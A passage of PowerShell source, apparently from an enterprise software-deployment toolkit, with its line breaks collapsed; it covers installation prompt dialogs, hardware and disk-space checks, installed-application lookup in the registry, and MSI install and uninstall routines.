$buttonRight.add_Click($buttonRight_OnClick) $buttonAbort.DataBindings.DefaultDataSourceUpdateMode = 0 $buttonAbort.Name = 'buttonAbort' $buttonAbort.Size = '1,1' $buttonAbort.DialogResult = 'Abort' $buttonAbort.TabStop = $false $buttonAbort.UseVisualStyleBackColor = $true $buttonAbort.add_Click($buttonAbort_OnClick) $System_Drawing_Size = New-Object -TypeName 'System.Drawing.Size' $System_Drawing_Size.Height = 270 + $appDeployLogoBannerHeightDifference $System_Drawing_Size.Width = 450 $formInstallationPrompt.Size = $System_Drawing_Size $formInstallationPrompt.Padding = '0,0,0,10' $formInstallationPrompt.Margin = $paddingNone $formInstallationPrompt.DataBindings.DefaultDataSourceUpdateMode = 0 $formInstallationPrompt.Name = 'WelcomeForm' $formInstallationPrompt.Text = $title $formInstallationPrompt.StartPosition = 'CenterScreen' $formInstallationPrompt.FormBorderStyle = 'FixedDialog' $formInstallationPrompt.MaximizeBox = $false $formInstallationPrompt.MinimizeBox = $false $formInstallationPrompt.TopMost = $true $formInstallationPrompt.TopLevel = $true $formInstallationPrompt.Icon = New-Object -TypeName 'System.Drawing.Icon' -ArgumentList $AppDeployLogoIcon $formInstallationPrompt.Controls.Add($pictureBanner) $formInstallationPrompt.Controls.Add($pictureIcon) $formInstallationPrompt.Controls.Add($labelText) $formInstallationPrompt.Controls.Add($buttonAbort) If ($buttonLeftText) { $formInstallationPrompt.Controls.Add($buttonLeft) } If ($buttonMiddleText) { $formInstallationPrompt.Controls.Add($buttonMiddle) } If ($buttonRightText) { $formInstallationPrompt.Controls.Add($buttonRight) } $timer = New-Object -TypeName 'System.Windows.Forms.Timer' $timer.Interval = ($timeout * 1000) $timer.Add_Tick({ Write-Log -Message 'Installation action not taken within a reasonable amount of time.' -Source ${CmdletName} $buttonAbort.PerformClick() }) $InitialFormInstallationPromptWindowState = $formInstallationPrompt.WindowState $formInstallationPrompt.add_Load($Form_StateCorrection_Load) $formInstallationPrompt.add_FormClosed($Form_Cleanup_FormClosed) $timer.Start() [scriptblock]$RefreshInstallationPrompt = { $formInstallationPrompt.BringToFront() $formInstallationPrompt.Location = "$($formInstallationPromptStartPosition.X),$($formInstallationPromptStartPosition.Y)" $formInstallationPrompt.Refresh() } If ($persistPrompt) { $timerPersist = New-Object -TypeName 'System.Windows.Forms.Timer' $timerPersist.Interval = ($configInstallationPersistInterval * 1000) [scriptblock]$timerPersist_Tick = { & $RefreshInstallationPrompt } $timerPersist.add_Tick($timerPersist_Tick) $timerPersist.Start() } Close-InstallationProgress [string]$installPromptLoggedParameters = ($installPromptParameters.GetEnumerator() | ForEach-Object { If ($_.Value.GetType().Name -eq 'SwitchParameter') { "-$($_.Key):`$" + "$($_.Value)".ToLower() } ElseIf ($_.Value.GetType().Name -eq 'Boolean') { "-$($_.Key) `$" + "$($_.Value)".ToLower() } ElseIf ($_.Value.GetType().Name -eq 'Int32') { "-$($_.Key) $($_.Value)" } Else { "-$($_.Key) `"$($_.Value)`"" } }) -join ' ' Write-Log -Message "Displaying custom installation prompt with the non-default parameters: [$installPromptLoggedParameters]." -Source ${CmdletName} If ($NoWait) { $installPromptParameters.Remove('NoWait') [string]$installPromptParameters = ($installPromptParameters.GetEnumerator() | ForEach-Object { If ($_.Value.GetType().Name -eq 'SwitchParameter') { "-$($_.Key):`$" + "$($_.Value)".ToLower() } ElseIf ($_.Value.GetType().Name -eq 'Boolean') { "-$($_.Key) `$" + "$($_.Value)".ToLower() } ElseIf ($_.Value.GetType().Name -eq 'Int32') { "-$($_.Key) $($_.Value)" } Else { "-$($_.Key) `"$($_.Value)`"" } }) -join ' ' Start-Process -FilePath "$PSHOME\powershell.exe" -ArgumentList "-ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Hidden -File `"$scriptPath`" -ReferredInstallTitle `"$Title`" -ReferredInstallName `"$installName`" -ReferredLogName `"$logName`" -ShowInstallationPrompt $installPromptParameters -AsyncToolkitLaunch" -WindowStyle 'Hidden' -ErrorAction 'SilentlyContinue' } Else { $showDialog = $true While ($showDialog) { If ($minimizeWindows) { $null = $shellApp.MinimizeAll() } $result = $formInstallationPrompt.ShowDialog() If (($result -eq 'Yes') -or ($result -eq 'No') -or ($result -eq 'Ignore') -or ($result -eq 'Abort')) { $showDialog = $false } } $formInstallationPrompt.Dispose() Switch ($result) { 'Yes' { Write-Output -InputObject $buttonRightText } 'No' { Write-Output -InputObject $buttonLeftText } 'Ignore' { Write-Output -InputObject $buttonMiddleText } 'Abort' { $null = $shellApp.UndoMinimizeAll() If ($ExitOnTimeout) { Exit-Script -ExitCode $configInstallationUIExitCode } Else { Write-Log -Message 'UI timed out but `$ExitOnTimeout set to `$false. Continue...' -Source ${CmdletName} } } } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Show-DialogBox { [CmdletBinding()] Param ( [Parameter(Mandatory=$true,Position=0,HelpMessage='Enter a message for the dialog box')] [ValidateNotNullorEmpty()] [string]$Text, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$Title = $installTitle, [Parameter(Mandatory=$false)] [ValidateSet('OK','OKCancel','AbortRetryIgnore','YesNoCancel','YesNo','RetryCancel','CancelTryAgainContinue')] [string]$Buttons = 'OK', [Parameter(Mandatory=$false)] [ValidateSet('First','Second','Third')] [string]$DefaultButton = 'First', [Parameter(Mandatory=$false)] [ValidateSet('Exclamation','Information','None','Stop','Question')] [string]$Icon = 'None', [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$Timeout = $configInstallationUITimeout, [Parameter(Mandatory=$false)] [boolean]$TopMost = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If ($deployModeNonInteractive) { Write-Log -Message "Bypassing Dialog Box [Mode: $deployMode]: $Text..." -Source ${CmdletName} Return } Write-Log -Message "Display Dialog Box with message: $Text..." -Source ${CmdletName} [hashtable]$dialogButtons = @{ 'OK' = 0 'OKCancel' = 1 'AbortRetryIgnore' = 2 'YesNoCancel' = 3 'YesNo' = 4 'RetryCancel' = 5 'CancelTryAgainContinue' = 6 } [hashtable]$dialogIcons = @{ 'None' = 0 'Stop' = 16 'Question' = 32 'Exclamation' = 48 'Information' = 64 } [hashtable]$dialogDefaultButton = @{ 'First' = 0 'Second' = 256 'Third' = 512 } Switch ($TopMost) { $true { $dialogTopMost = 4096 } $false { $dialogTopMost = 0 } } $response = $Shell.Popup($Text, $Timeout, $Title, ($dialogButtons[$Buttons] + $dialogIcons[$Icon] + $dialogDefaultButton[$DefaultButton] + $dialogTopMost)) Switch ($response) { 1 { Write-Log -Message 'Dialog Box Response: OK' -Source ${CmdletName} Write-Output -InputObject 'OK' } 2 { Write-Log -Message 'Dialog Box Response: Cancel' -Source ${CmdletName} Write-Output -InputObject 'Cancel' } 3 { Write-Log -Message 'Dialog Box Response: Abort' -Source ${CmdletName} Write-Output -InputObject 'Abort' } 4 { Write-Log -Message 'Dialog Box Response: Retry' -Source ${CmdletName} Write-Output -InputObject 'Retry' } 5 { Write-Log -Message 'Dialog Box Response: Ignore' -Source ${CmdletName} Write-Output -InputObject 'Ignore' } 6 { Write-Log -Message 'Dialog Box Response: Yes' -Source ${CmdletName} Write-Output -InputObject 'Yes' } 7 { Write-Log -Message 'Dialog Box Response: No' -Source ${CmdletName} Write-Output -InputObject 'No' } 10 { Write-Log -Message 'Dialog Box Response: Try Again' -Source ${CmdletName} Write-Output -InputObject 'Try Again' } 11 { Write-Log -Message 'Dialog Box Response: Continue' -Source ${CmdletName} Write-Output -InputObject 'Continue' } -1 { Write-Log -Message 'Dialog Box Timed Out...' -Source ${CmdletName} Write-Output -InputObject 'Timeout' } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-HardwarePlatform { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message 'Retrieve hardware platform information.' -Source ${CmdletName} $hwBios = Get-WmiObject -Class 'Win32_BIOS' -ErrorAction 'Stop' | Select-Object -Property 'Version', 'SerialNumber' $hwMakeModel = Get-WMIObject -Class 'Win32_ComputerSystem' -ErrorAction 'Stop' | Select-Object -Property 'Model', 'Manufacturer' If ($hwBIOS.Version -match 'VRTUAL') { $hwType = 'Virtual:Hyper-V' } ElseIf ($hwBIOS.Version -match 'A M I') { $hwType = 'Virtual:Virtual PC' } ElseIf ($hwBIOS.Version -like '*Xen*') { $hwType = 'Virtual:Xen' } ElseIf ($hwBIOS.SerialNumber -like '*VMware*') { $hwType = 'Virtual:VMWare' } ElseIf (($hwMakeModel.Manufacturer -like '*Microsoft*') -and ($hwMakeModel.Model -notlike '*Surface*')) { $hwType = 'Virtual:Hyper-V' } ElseIf ($hwMakeModel.Manufacturer -like '*VMWare*') { $hwType = 'Virtual:VMWare' } ElseIf ($hwMakeModel.Model -like '*Virtual*') { $hwType = 'Virtual' } Else { $hwType = 'Physical' } Write-Output -InputObject $hwType } Catch { Write-Log -Message "Failed to retrieve hardware platform information. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to retrieve hardware platform information: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-FreeDiskSpace { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$Drive = $envSystemDrive, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { Write-Log -Message "Retrieve free disk space for drive [$Drive]." -Source ${CmdletName} $disk = Get-WmiObject -Class 'Win32_LogicalDisk' -Filter "DeviceID='$Drive'" -ErrorAction 'Stop' [double]$freeDiskSpace = [math]::Round($disk.FreeSpace / 1MB) Write-Log -Message "Free disk space for drive [$Drive]: [$freeDiskSpace MB]." -Source ${CmdletName} Write-Output -InputObject $freeDiskSpace } Catch { Write-Log -Message "Failed to retrieve free disk space for drive [$Drive]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to retrieve free disk space for drive [$Drive]: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-InstalledApplication { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string[]]$Name, [Parameter(Mandatory=$false)] [switch]$Exact = $false, [Parameter(Mandatory=$false)] [switch]$WildCard = $false, [Parameter(Mandatory=$false)] [switch]$RegEx = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$ProductCode, [Parameter(Mandatory=$false)] [switch]$IncludeUpdatesAndHotfixes ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If ($name) { Write-Log -Message "Get information for installed Application Name(s) [$($name -join ', ')]..." -Source ${CmdletName} } If ($productCode) { Write-Log -Message "Get information for installed Product Code [$ProductCode]..." -Source ${CmdletName} } [psobject[]]$regKeyApplication = @() ForEach ($regKey in $regKeyApplications) { If (Test-Path -LiteralPath $regKey -ErrorAction 'SilentlyContinue' -ErrorVariable '+ErrorUninstallKeyPath') { [psobject[]]$UninstallKeyApps = Get-ChildItem -LiteralPath $regKey -ErrorAction 'SilentlyContinue' -ErrorVariable '+ErrorUninstallKeyPath' ForEach ($UninstallKeyApp in $UninstallKeyApps) { Try { [psobject]$regKeyApplicationProps = Get-ItemProperty -LiteralPath $UninstallKeyApp.PSPath -ErrorAction 'Stop' If ($regKeyApplicationProps.DisplayName) { [psobject[]]$regKeyApplication += $regKeyApplicationProps } } Catch{ Write-Log -Message "Unable to enumerate properties from registry key path [$($UninstallKeyApp.PSPath)]. `n$(Resolve-Error)" -Severity 2 -Source ${CmdletName} Continue } } } } If ($ErrorUninstallKeyPath) { Write-Log -Message "The following error(s) took place while enumerating installed applications from the registry. `n$(Resolve-Error -ErrorRecord $ErrorUninstallKeyPath)" -Severity 2 -Source ${CmdletName} } [psobject[]]$installedApplication = @() ForEach ($regKeyApp in $regKeyApplication) { Try { [string]$appDisplayName = '' [string]$appDisplayVersion = '' [string]$appPublisher = '' If (-not $IncludeUpdatesAndHotfixes) { If ($regKeyApp.DisplayName -match '(?i)kb\d+') { Continue } If ($regKeyApp.DisplayName -match 'Cumulative Update') { Continue } If ($regKeyApp.DisplayName -match 'Security Update') { Continue } If ($regKeyApp.DisplayName -match 'Hotfix') { Continue } } $illegalChars = [string][System.IO.Path]::GetInvalidFileNameChars() $appDisplayName = $regKeyApp.DisplayName -replace $illegalChars,'' $appDisplayVersion = $regKeyApp.DisplayVersion -replace $illegalChars,'' $appPublisher = $regKeyApp.Publisher -replace $illegalChars,'' [boolean]$Is64BitApp = If (($is64Bit) -and ($regKeyApp.PSPath -notmatch '^Microsoft\.PowerShell\.Core\\Registry::HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node')) { $true } Else { $false } If ($ProductCode) { If ($regKeyApp.PSChildName -match [regex]::Escape($productCode)) { Write-Log -Message "Found installed application [$appDisplayName] version [$appDisplayVersion] matching product code [$productCode]." -Source ${CmdletName} $installedApplication += New-Object -TypeName 'PSObject' -Property @{ UninstallSubkey = $regKeyApp.PSChildName ProductCode = If ($regKeyApp.PSChildName -match $MSIProductCodeRegExPattern) { $regKeyApp.PSChildName } Else { [string]::Empty } DisplayName = $appDisplayName DisplayVersion = $appDisplayVersion UninstallString = $regKeyApp.UninstallString InstallSource = $regKeyApp.InstallSource InstallLocation = $regKeyApp.InstallLocation InstallDate = $regKeyApp.InstallDate Publisher = $appPublisher Is64BitApplication = $Is64BitApp } } } If ($name) { ForEach ($application in $Name) { $applicationMatched = $false If ($exact) { If ($regKeyApp.DisplayName -eq $application) { $applicationMatched = $true Write-Log -Message "Found installed application [$appDisplayName] version [$appDisplayVersion] using exact name matching for search term [$application]." -Source ${CmdletName} } } ElseIf ($WildCard) { If ($regKeyApp.DisplayName -like $application) { $applicationMatched = $true Write-Log -Message "Found installed application [$appDisplayName] version [$appDisplayVersion] using wildcard matching for search term [$application]." -Source ${CmdletName} } } ElseIf ($RegEx) { If ($regKeyApp.DisplayName -match $application) { $applicationMatched = $true Write-Log -Message "Found installed application [$appDisplayName] version [$appDisplayVersion] using regex matching for search term [$application]." -Source ${CmdletName} } } ElseIf ($regKeyApp.DisplayName -match [regex]::Escape($application)) { $applicationMatched = $true Write-Log -Message "Found installed application [$appDisplayName] version [$appDisplayVersion] using contains matching for search term [$application]." -Source ${CmdletName} } If ($applicationMatched) { $installedApplication += New-Object -TypeName 'PSObject' -Property @{ UninstallSubkey = $regKeyApp.PSChildName ProductCode = If ($regKeyApp.PSChildName -match $MSIProductCodeRegExPattern) { $regKeyApp.PSChildName } Else { [string]::Empty } DisplayName = $appDisplayName DisplayVersion = $appDisplayVersion UninstallString = $regKeyApp.UninstallString InstallSource = $regKeyApp.InstallSource InstallLocation = $regKeyApp.InstallLocation InstallDate = $regKeyApp.InstallDate Publisher = $appPublisher Is64BitApplication = $Is64BitApp } } } } } Catch { Write-Log -Message "Failed to resolve application details from registry for [$appDisplayName]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} Continue } } Write-Output -InputObject $installedApplication } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Execute-MSI { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateSet('Install','Uninstall','Patch','Repair','ActiveSetup')] [string]$Action = 'Install', [Parameter(Mandatory=$true,HelpMessage='Please enter either the path to the MSI/MSP file or the ProductCode')] [ValidateScript({($_ -match $MSIProductCodeRegExPattern) -or ('.msi','.msp' -contains [IO.Path]::GetExtension($_))})] [Alias('FilePath')] [string]$Path, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$Transform, [Parameter(Mandatory=$false)] [Alias('Arguments')] [ValidateNotNullorEmpty()] [string]$Parameters, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$AddParameters, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [switch]$SecureParameters = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$Patch, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$LoggingOptions, [Parameter(Mandatory=$false)] [Alias('LogName')] [string]$private:LogName, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$WorkingDirectory, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [switch]$SkipMSIAlreadyInstalledCheck = $false, [Parameter(Mandatory=$false)] [switch]$IncludeUpdatesAndHotfixes = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [switch]$PassThru = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $false ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { [boolean]$PathIsProductCode = $false If ($Path -match $MSIProductCodeRegExPattern) { [boolean]$PathIsProductCode = $true Write-Log -Message 'Resolve product code to a publisher, application name, and version.' -Source ${CmdletName} If ($IncludeUpdatesAndHotfixes) { [psobject]$productCodeNameVersion = Get-InstalledApplication -ProductCode $path -IncludeUpdatesAndHotfixes | Select-Object -Property 'Publisher', 'DisplayName', 'DisplayVersion' -First 1 -ErrorAction 'SilentlyContinue' } Else { [psobject]$productCodeNameVersion = Get-InstalledApplication -ProductCode $path | Select-Object -Property 'Publisher', 'DisplayName', 'DisplayVersion' -First 1 -ErrorAction 'SilentlyContinue' } If (-not $logName) { If ($productCodeNameVersion) { If ($productCodeNameVersion.Publisher) { $logName = ($productCodeNameVersion.Publisher + '_' + $productCodeNameVersion.DisplayName + '_' + $productCodeNameVersion.DisplayVersion) -replace "[$invalidFileNameChars]",'' -replace ' ','' } Else { $logName = ($productCodeNameVersion.DisplayName + '_' + $productCodeNameVersion.DisplayVersion) -replace "[$invalidFileNameChars]",'' -replace ' ','' } } Else { $logName = $Path } } } Else { If (-not $logName) { $logName = ([IO.FileInfo]$path).BaseName } ElseIf ('.log','.txt' -contains [IO.Path]::GetExtension($logName)) { $logName = [IO.Path]::GetFileNameWithoutExtension($logName) } } If ($configToolkitCompressLogs) { [string]$logPath = Join-Path -Path $logTempFolder -ChildPath $logName } Else { If (-not (Test-Path -LiteralPath $configMSILogDir -PathType 'Container' -ErrorAction 'SilentlyContinue')) { $null = New-Item -Path $configMSILogDir -ItemType 'Directory' -ErrorAction 'SilentlyContinue' } [string]$logPath = Join-Path -Path $configMSILogDir -ChildPath $logName } If ($deployModeSilent) { $msiInstallDefaultParams = $configMSISilentParams $msiUninstallDefaultParams = $configMSISilentParams } Else { $msiInstallDefaultParams = $configMSIInstallParams $msiUninstallDefaultParams = $configMSIUninstallParams } Switch ($action) { 'Install' { $option = '/i'; [string]$msiLogFile = "$logPath" + '_Install'; $msiDefaultParams = $msiInstallDefaultParams } 'Uninstall' { $option = '/x'; [string]$msiLogFile = "$logPath" + '_Uninstall'; $msiDefaultParams = $msiUninstallDefaultParams } 'Patch' { $option = '/update'; [string]$msiLogFile = "$logPath" + '_Patch'; $msiDefaultParams = $msiInstallDefaultParams } 'Repair' { $option = '/f'; [string]$msiLogFile = "$logPath" + '_Repair'; $msiDefaultParams = $msiInstallDefaultParams } 'ActiveSetup' { $option = '/fups'; [string]$msiLogFile = "$logPath" + '_ActiveSetup' } } If ([IO.Path]::GetExtension($msiLogFile) -ne '.log') { [string]$msiLogFile = $msiLogFile + '.log' [string]$msiLogFile = "`"$msiLogFile`"" } If (Test-Path -LiteralPath (Join-Path -Path $dirFiles -ChildPath $path -ErrorAction 'SilentlyContinue') -PathType 'Leaf' -ErrorAction 'SilentlyContinue') { [string]$msiFile = Join-Path -Path $dirFiles -ChildPath $path } ElseIf (Test-Path -LiteralPath $Path -ErrorAction 'SilentlyContinue') { [string]$msiFile = (Get-Item -LiteralPath $Path).FullName } ElseIf ($PathIsProductCode) { [string]$msiFile = $Path } Else { Write-Log -Message "Failed to find MSI file [$path]." -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to find MSI file [$path]." } Continue } If ((-not $PathIsProductCode) -and (-not $workingDirectory)) { [string]$workingDirectory = Split-Path -Path $msiFile -Parent } If ($transform) { [string[]]$transforms = $transform -split ',' 0..($transforms.Length - 1) | ForEach-Object { If (Test-Path -LiteralPath (Join-Path -Path (Split-Path -Path $msiFile -Parent) -ChildPath $transforms[$_]) -PathType 'Leaf') { $transforms[$_] = Join-Path -Path (Split-Path -Path $msiFile -Parent) -ChildPath $transforms[$_].Replace('.\','') } Else { $transforms[$_] = $transforms[$_] } } [string]$mstFile = "`"$($transforms -join ';')`"" } If ($patch) { [string[]]$patches = $patch -split ',' 0..($patches.Length - 1) | ForEach-Object { If (Test-Path -LiteralPath (Join-Path -Path (Split-Path -Path $msiFile -Parent) -ChildPath $patches[$_]) -PathType 'Leaf') { $patches[$_] = Join-Path -Path (Split-Path -Path $msiFile -Parent) -ChildPath $patches[$_].Replace('.\','') } Else { $patches[$_] = $patches[$_] } } [string]$mspFile = "`"$($patches -join ';')`"" } If ($PathIsProductCode) { [string]$MSIProductCode = $path } ElseIf ([IO.Path]::GetExtension($msiFile) -eq '.msi') { Try { [hashtable]$GetMsiTablePropertySplat = @{ Path = $msiFile; Table = 'Property'; ContinueOnError = $false } If ($transforms) { $GetMsiTablePropertySplat.Add( 'TransformPath', $transforms ) } [string]$MSIProductCode = Get-MsiTableProperty @GetMsiTablePropertySplat | Select-Object -ExpandProperty 'ProductCode' -ErrorAction 'Stop' } Catch { Write-Log -Message "Failed to get the ProductCode from the MSI file. Continue with requested action [$Action]..." -Source ${CmdletName} } } [string]$msiFile = "`"$msiFile`"" [string]$argsMSI = "$option $msiFile" If ($transform) { $argsMSI = "$argsMSI TRANSFORMS=$mstFile TRANSFORMSSECURE=1" } If ($patch) { $argsMSI = "$argsMSI PATCH=$mspFile" } If ($Parameters) { $argsMSI = "$argsMSI $Parameters" } Else { $argsMSI = "$argsMSI $msiDefaultParams" } If ($AddParameters) { $argsMSI = "$argsMSI $AddParameters" } If ($LoggingOptions) { $argsMSI = "$argsMSI $LoggingOptions $msiLogFile" } Else { $argsMSI = "$argsMSI $configMSILoggingOptions $msiLogFile" } If ($MSIProductCode) { If ($SkipMSIAlreadyInstalledCheck) { [boolean]$IsMsiInstalled = $false } Else { If ($IncludeUpdatesAndHotfixes) { [psobject]$MsiInstalled = Get-InstalledApplication -ProductCode $MSIProductCode -IncludeUpdatesAndHotfixes } Else { [psobject]$MsiInstalled = Get-InstalledApplication -ProductCode $MSIProductCode } If ($MsiInstalled) { [boolean]$IsMsiInstalled = $true } } } Else { If ($Action -eq 'Install') { [boolean]$IsMsiInstalled = $false } Else { [boolean]$IsMsiInstalled = $true } } If (($IsMsiInstalled) -and ($Action -eq 'Install')) { Write-Log -Message "The MSI is already installed on this system. Skipping action [$Action]..." -Source ${CmdletName} } ElseIf (((-not $IsMsiInstalled) -and ($Action -eq 'Install')) -or ($IsMsiInstalled)) { Write-Log -Message "Executing MSI action [$Action]..." -Source ${CmdletName} [hashtable]$ExecuteProcessSplat = @{ Path = $exeMsiexec Parameters = $argsMSI WindowStyle = 'Normal' } If ($WorkingDirectory) { $ExecuteProcessSplat.Add( 'WorkingDirectory', $WorkingDirectory) } If ($ContinueOnError) { $ExecuteProcessSplat.Add( 'ContinueOnError', $ContinueOnError) } If ($SecureParameters) { $ExecuteProcessSplat.Add( 'SecureParameters', $SecureParameters) } If ($PassThru) { $ExecuteProcessSplat.Add( 'PassThru', $PassThru) } If ($PassThru) { [psobject]$ExecuteResults = Execute-Process @ExecuteProcessSplat } Else { Execute-Process @ExecuteProcessSplat } Update-Desktop } Else { Write-Log -Message "The MSI is not installed on this system. Skipping action [$Action]..." -Source ${CmdletName} } } End { If ($PassThru) { Write-Output -InputObject $ExecuteResults } Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Remove-MSIApplications { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string]$Name, [Parameter(Mandatory=$false)] [switch]$Exact = $false, [Parameter(Mandatory=$false)] [switch]$WildCard = $false, [Parameter(Mandatory=$false)] [Alias('Arguments')] [ValidateNotNullorEmpty()] [string]$Parameters, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$AddParameters, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [array]$FilterApplication = @(@()), [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [array]$ExcludeFromUninstall = @(@()), [Parameter(Mandatory=$false)] [switch]$IncludeUpdatesAndHotfixes = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$LoggingOptions, [Parameter(Mandatory=$false)] [Alias('LogName')] [string]$private:LogName, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [switch]$PassThru = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { [hashtable]$GetInstalledApplicationSplat = @{ Name = $name } If ($Exact) { $GetInstalledApplicationSplat.Add( 'Exact', $Exact) } ElseIf ($WildCard) { $GetInstalledApplicationSplat.Add( 'WildCard', $WildCard) } If ($IncludeUpdatesAndHotfixes) { $GetInstalledApplicationSplat.Add( 'IncludeUpdatesAndHotfixes', $IncludeUpdatesAndHotfixes) } [psobject[]]$installedApplications = Get-InstalledApplication @GetInstalledApplicationSplat Write-Log -Message "Found [$($installedApplications.Count)] application(s) that matched the specified criteria [$Name]." -Source ${CmdletName} [Collections.ArrayList]$removeMSIApplications = New-Object -TypeName 'System.Collections.ArrayList' If (($null -ne $installedApplications) -and ($installedApplications.Count)) { ForEach ($installedApplication in $installedApplications) { If ($installedApplication.UninstallString -notmatch 'msiexec') { Write-Log -Message "Skipping removal of application [$($installedApplication.DisplayName)] because uninstall string [$($installedApplication.UninstallString)] does not match `"msiexec`"." -Severity 2 -Source ${CmdletName} Continue } If ([string]::IsNullOrEmpty($installedApplication.ProductCode)) { Write-Log -Message "Skipping removal of application [$($installedApplication.DisplayName)] because unable to discover MSI ProductCode from application's registry Uninstall subkey [$($installedApplication.UninstallSubkey)]." -Severity 2 -Source ${CmdletName} Continue } If (($null -ne $FilterApplication) -and ($FilterApplication.Count)) { Write-Log -Message "Filter the results to only those that should be uninstalled as specified in parameter [-FilterApplication]." -Source ${CmdletName} [boolean]$addAppToRemoveList = $false ForEach ($Filter in $FilterApplication) { If ($Filter[2] -eq 'RegEx') { If ($installedApplication.($Filter[0]) -match $Filter[1]) { [boolean]$addAppToRemoveList = $true Write-Log -Message "Preserve removal of application [$($installedApplication.DisplayName) $($installedApplication.Version)] because of regex match against [-FilterApplication] criteria." -Source ${CmdletName} } } ElseIf ($Filter[2] -eq 'Contains') { If ($installedApplication.($Filter[0]) -match [regex]::Escape($Filter[1])) { [boolean]$addAppToRemoveList = $true Write-Log -Message "Preserve removal of application [$($installedApplication.DisplayName) $($installedApplication.Version)] because of contains match against [-FilterApplication] criteria." -Source ${CmdletName} } } ElseIf ($Filter[2] -eq 'WildCard') { If ($installedApplication.($Filter[0]) -like $Filter[1]) { [boolean]$addAppToRemoveList = $true Write-Log -Message "Preserve removal of application [$($installedApplication.DisplayName) $($installedApplication.Version)] because of wildcard match against [-FilterApplication] criteria." -Source ${CmdletName} } } ElseIf ($Filter[2] -eq 'Exact') { If ($installedApplication.($Filter[0]) -eq $Filter[1]) { [boolean]$addAppToRemoveList = $true Write-Log -Message "Preserve removal of application [$($installedApplication.DisplayName) $($installedApplication.Version)] because of exact match against [-FilterApplication] criteria." -Source ${CmdletName} } } } } Else { [boolean]$addAppToRemoveList = $true } If (($null -ne $ExcludeFromUninstall) -and ($ExcludeFromUninstall.Count)) { ForEach ($Exclude in $ExcludeFromUninstall) { If ($Exclude[2] -eq 'RegEx') { If ($installedApplication.($Exclude[0]) -match $Exclude[1]) { [boolean]$addAppToRemoveList = $false Write-Log -Message "Skipping removal of application [$($installedApplication.DisplayName) $($installedApplication.Version)] because of regex match against [-ExcludeFromUninstall] criteria." -Source ${CmdletName} } } ElseIf ($Exclude[2] -eq 'Contains') { If ($installedApplication.($Exclude[0]) -match [regex]::Escape($Exclude[1])) { [boolean]$addAppToRemoveList = $false Write-Log -Message "Skipping removal of application [$($installedApplication.DisplayName) $($installedApplication.Version)] because of contains match against [-ExcludeFromUninstall] criteria." -Source ${CmdletName} } } ElseIf ($Exclude[2] -eq 'WildCard') { If ($installedApplication.($Exclude[0]) -like $Exclude[1]) { [boolean]$addAppToRemoveList = $false Write-Log -Message "Skipping removal of application [$($installedApplication.DisplayName) $($installedApplication.Version)] because of wildcard match against [-ExcludeFromUninstall] criteria." -Source ${CmdletName} } } 